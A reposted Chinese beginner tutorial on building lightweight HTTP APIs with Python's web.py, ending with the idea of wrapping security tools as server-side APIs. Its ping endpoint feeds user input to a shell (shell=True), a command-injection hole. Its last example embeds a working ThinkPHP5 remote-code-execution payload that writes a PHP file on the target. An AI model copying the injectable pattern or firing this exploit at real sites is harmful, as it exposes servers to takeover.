Python3菜鳥教程丨基於Web模塊的輕量級接口設計基礎


看着互聯網上各種各樣的API接口十分歡喜,奈何因為收費望而卻步,於是筆者在經過網上信息檢索后,選擇了最簡單的Python3 Web.py 庫作為菜鳥入門學習教程,並實現一些小功能,希望對萌新小白們有所幫助!

 

注:i 春秋公眾號旨在為大家提供更多的學習方法與技能技巧,文章僅供學習參考。

 

開發環境:

系統:安卓10

工具:Termux

編輯器:vim

語言:Python3

上傳方法:ftp協議

 

調試環境:

系統:Windows2008(阿里雲)

環境:Python3.7.6 + Web.py

說明:建議要使用最適合自己的開發環境,在win環境可以選擇VS Code等編輯器來開發。

 

如何安裝運營環境

服務器端安裝示例(Windows 2008)

  • Python3環境的安裝:

對於Python3的安裝,你只需要到官網下載適合你的安裝包安裝即可!

如果你下載的是ZIP包,請自己配置好環境變量,如果你是下載的可視化安裝程序,請記得勾選添加環境變量選項!

  • Web.py 庫的安裝:

在開始安裝之前,請記得在PowerShell里執行下面的命令,我們需要先升級pip,升級命令是這樣:

pip install --upgrade pip

在升級完成后,便可以開始安裝我們需要的Web庫了。

pip install web.py

 

如何編寫

如同眾多編程語言一般,我們先來寫個HelloWord:

文件名:sever.py

#-*- coding:utf-8 -*-

import web #導入web庫

#URL控制
urls = (
    #訪問index的時候,執行index方法
    '/index(.*)', 'index',
)

#index方法
class index:
    def GET(self, text):
        index = "hello word!"
        return index

#主函數開始
if __name__ == "__main__":
    app = web.application(urls, globals())
    app.run()

接着我們在指定端口執行這個腳本:

python sever.py 80

此時,我們訪問:127.0.0.1:80,應該在瀏覽器中能看到這樣的內容:

hello word!

這就滿足了嗎?

不,最起碼,得有個漂亮的樣式,經過簡單的搜索,發現Web.py提供的方法太麻煩了,於是,我們可以這樣:

請注意,此刻我們不需要去暫停控制台,可以直接去修改代碼后刷新瀏覽器就好了!

先在跟Sever.py同一目錄下創建index.html,這個html里的文件自己想寫啥就寫啥,然后我們修改代碼:

#index方法
class index:
    def GET(self, text):
        index = open("./index.html", 'r',encoding="utf-8")
        index = index.read()
        return index

接着再來刷新瀏覽器,就會發現界面變成了你想要的樣子,這說明html文件里的標簽被渲染了。

 

如何開發API

有這樣一道題:給定這樣幾個字母:a,e,t,請組成單詞。

筆者的代碼:

import sys
from itertools import permutations

def exhaustive_combination_def(exhaustive_combination):
    b = ""
    arr = exhaustive_combination.split(",")
    for a in permutations(arr):
        a = "".join(a)
        b = b + a + ","
        #print(a)
    return b

if __name__ == "__main__":
    i="a,e,t"
    i=exhaustive_combination_def(i)
    print(i)

執行后,我收獲了結果:

aet,ate,eat,eta,tae,tea,

放到百度翻譯,人生圓滿了。

為了維護方便,我們API是一個py文件,sever是一個文件,這樣最好。

 

api.py

#-*- coding:utf-8 -*-

import sys
from itertools import permutations

def exhaustive_combination_def(exhaustive_combination):
    b = ""
    dzarr = exhaustive_combination.split(",")
    for a in permutations(dzarr):
        a = "".join(a)
        b = b + a + ","
    return b

sever.py

#-*- coding:utf-8 -*-

import web #導入web庫
#從文件api.py中引用自定義函數:exhaustive_combination_def
from api import exhaustive_combination_def

#URL控制
urls = (
    #訪問index的時候,執行index方法
    '/index(.*)', 'index',
    #訪問api_one,執行exhaustive_combination方法
    '/api_one/(.*)', 'exhaustive_combination',
)

#exhaustive_combination方法
class exhaustive_combination:
    #text接收的是get請求內容
    def GET(self, text):
        #變量 a 接收傳回的返回值
        a=exhaustive_combination_def(text)
        #返回 a 的內容給瀏覽器
        return a

index方法
class index:
    def GET(self, text):
        index = open("./index.html", 'r',encoding="utf-8")
        index = index.read()
        return index

if __name__ == "__main__":
    app = web.application(urls, globals())
    app.run()

訪問地址:

http://127.0.0.1/api_one/a,e,t

成功在瀏覽器返回:

aet,ate,eat,eta,tae,tea,

這樣一個簡單的API就寫好了。

這個時候,我們可以完全通過python寫一個自己想要的API。

比如,我們來寫一個返回Ping命令結果的:

 

ping.py

# -*- coding: utf-8 -*-
import subprocess  
import re

def ping_url(url):
    ping = subprocess.Popen(["ping.exe", url],
      stdin = subprocess.PIPE,
      stdout = subprocess.PIPE,
      stderr = subprocess.PIPE,
      shell = True)  
    out = ping.stdout.read()
    out = out.decode('gbk')
    return out

sever.py

#-*- coding:utf-8 -*-

import web #導入web庫
#從文件api.py中引用自定義函數:exhaustive_combination_def
from api import exhaustive_combination_def
#從文件ping.py中引用自定義函數:ping_url
from ping import ping_url

#URL控制
urls = (
    #訪問index的時候,執行index方法
    '/index(.*)', 'index',
    #訪問api_one,執行exhaustive_combination方法
    '/api_one/(.*)', 'exhaustive_combination',
    #訪問ping,執行ping方法
    '/ping_api/(.*)','ping_api',
)

#ping方法
class ping_api:
    def GET(self, text):
        a = "<html><head><meta charset=\"utf-8\"><pre>"
        b = ping_url(text)
        c = "</pre></head></html>"
        a = a + b + c
        return a

#exhaustive_combination方法
class exhaustive_combination:
    #text接收的是get請求內容
    def GET(self, text):
        #變量 a 接收傳回的返回值
        a=exhaustive_combination_def(text)
        #返回 a 的內容給瀏覽器
        return a

#index方法
class index:
    def GET(self, text):
        index = open("./index.html", 'r',encoding="utf-8")
        index = index.read()
        return index

if __name__ == "__main__":
    app = web.application(urls, globals())
    app.run()

訪問:

http://127.0.0.1/ping_api/www.20191005.tech

成功返回內容:

正在 Ping as20191005.coding.me [150.109.19.98] 具有 32 字節的數據:
來自 150.109.19.98 的回復: 字節=32 時間=949ms TTL=47
來自 150.109.19.98 的回復: 字節=32 時間=1111ms TTL=47
來自 150.109.19.98 的回復: 字節=32 時間=1162ms TTL=47
來自 150.109.19.98 的回復: 字節=32 時間=1156ms TTL=47

150.109.19.98 的 Ping 統計信息:
    數據包: 已發送 = 4,已接收 = 4,丟失 = 0 (0% 丟失),
往返行程的估計時間(以毫秒為單位):
    最短 = 949ms,最長 = 1162ms,平均 = 1094ms

 

擴展設想

在編寫工具時,我們很多時候用到的語言都是Python,然而我們編寫的一些圖形化工具隨着不斷的流傳,很容易流傳到不法分子手中,我們完全可以通過這種API式的去開發工具。

當工具流竄出去,我們要阻止不法分子的時候,可以直接在服務器端ban了他的ip ,直接導致你的工具在他手中無法使用,或者直接改變接口參數,導致不法分子的工具失效,當然為了安全性可以加上一個基於接口的驗證方案,來驗證工具的使用者。

 

 

拿thinkphp5來做一個例子:

樣例自定義函數:

#-*- coding:utf-8 -*-
import requests
import re

#命令執行
def thinkphp5_api(url):
    poc = "?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20%27<?php%20phpinfo();?>%27%20>%20"
    filename ="name.php"
    url = str(url + poc + filename)
    try:
        page = requests.get(url)
        zhuangtia = page.status_code
        qingqiutou = page.headers
        a = "【*】請求狀態:" + str(zhuangtia) + "\n【*】寫入路徑:" + filename + "\n【*】請求頭:\n" + str(qingqiutou)
        return a
    except:
        return "寫入狀態異常!"

實際效果:

 

這種方法筆者認為非常便於控制工具的流通,你只需要通過指定你允許的IP可以訪問到服務器API,就可以將工具放心的傳給團隊內的其他使用者!

如果本文激發了你對API開發的想法,不妨去試一試,對於Windows圖形界面程序的開發,多種多樣,你可以選擇C#的WPF或者易語言,這兩者對於圖形界面的開發基本都是直接繪制,上手速度更加快速!


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM